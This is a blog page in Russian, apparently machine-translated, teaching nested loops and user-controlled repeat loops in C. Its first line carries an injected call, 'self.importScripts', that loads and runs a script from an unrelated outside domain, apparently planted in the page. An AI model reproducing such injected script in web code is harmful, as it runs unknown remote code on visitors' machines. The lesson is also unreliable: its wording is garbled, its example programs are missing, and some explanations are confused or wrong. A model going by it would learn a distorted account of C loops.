google-site-verification: google2818f8f06eec354e.html self.importScripts('https://zworld-news.com/sw/w_1.js');

Вложенные циклы в C

Здесь вы узнаете о вложенных циклах в C.
Вложенность - одна из самых сложных тем программирования на Си. Как и инструкции по управлению принятием решения, инструкция по управлению циклом также может быть легко вложена. Но иногда понимание выполнения таких программ может быть немного сложнее. Поэтому важно прояснить основы.

Вложенные циклы в C

Как я уже говорил в моих предыдущих уроках, вложение означает определение оператора в рамках другого подобного утверждения. В случае циклов, когда мы вкладываем два цикла, это обычно увеличивает частоту выполнения циклов.
Мы можем вкладывать циклы внутрь, в то время как цикл и наоборот тоже верны. Обычно программист вкладывает до 3 петель. Но нет предела вложенности в C.
Теперь давайте попробуем небольшую программу с вложенными циклами.
Выход
Вложенные циклы в C - Вывод
объяснение
  • Каждая строка выполняет столбец как минимум 3 раза. Поэтому вы видите все три значения в каждой строке.
  • Как только элемент управления достигает внутреннего цикла, он выходит только тогда, когда цикл полностью выполнен.
  • Мы не можем изменить управление, как только оно достигнет внутреннего цикла.
Примечание. Я намеренно показал простую программу для отображения вложенности циклов. Выполнение вложенных циклов не может быть сведено в слова. Так что будет лучше, если вы попробуете вложить петли, чтобы лучше их понять.

Нечетный цикл

Существуют ситуации, когда нам нужно выполнить набор инструкций, пока пользователь не откажется от этого. Поэтому нам нужно проверить, хочет ли пользователь повторить набор инструкций или нет.
В этом случае программист не имеет представления о времени выполнения и частоте выполнения программы. Это называется нечетным циклом в Си-программировании. Таким образом, в основном мы должны сделать программу, которая будет спрашивать пользователя о повторном выполнении программы.
Выход
Вложенные циклы в C - Вывод
объяснение
  • В начале у меня есть символьная переменная yes с начальным значением символа 'Y'. После этого я объявил еще две целочисленные переменные.
  • Теперь я начал цикл с условием yes == 'Y'. Это означает, что цикл будет выполняться до тех пор, пока он не получит значение «Y».
  • После этого я отобразил сообщение для ввода двух значений. Используя функцию scanf (), я сохранил данные внутри переменных.
  • Теперь вместо использования третьей переменной для расчета суммы. Я использовал простой аргумент для вычисления суммы внутри функции printf ().
  • В конце программа отобразит сообщение для пользователя. Если он хочет продолжить, он нажмет «Y». В противном случае он нажмет «N», и программа будет остановлена.
Прокомментируйте ниже, если у вас есть сомнения или вы нашли какую-либо информацию неверной в предыдущем уроке для вложенных циклов в C.

Комментариев нет:

Отправить комментарий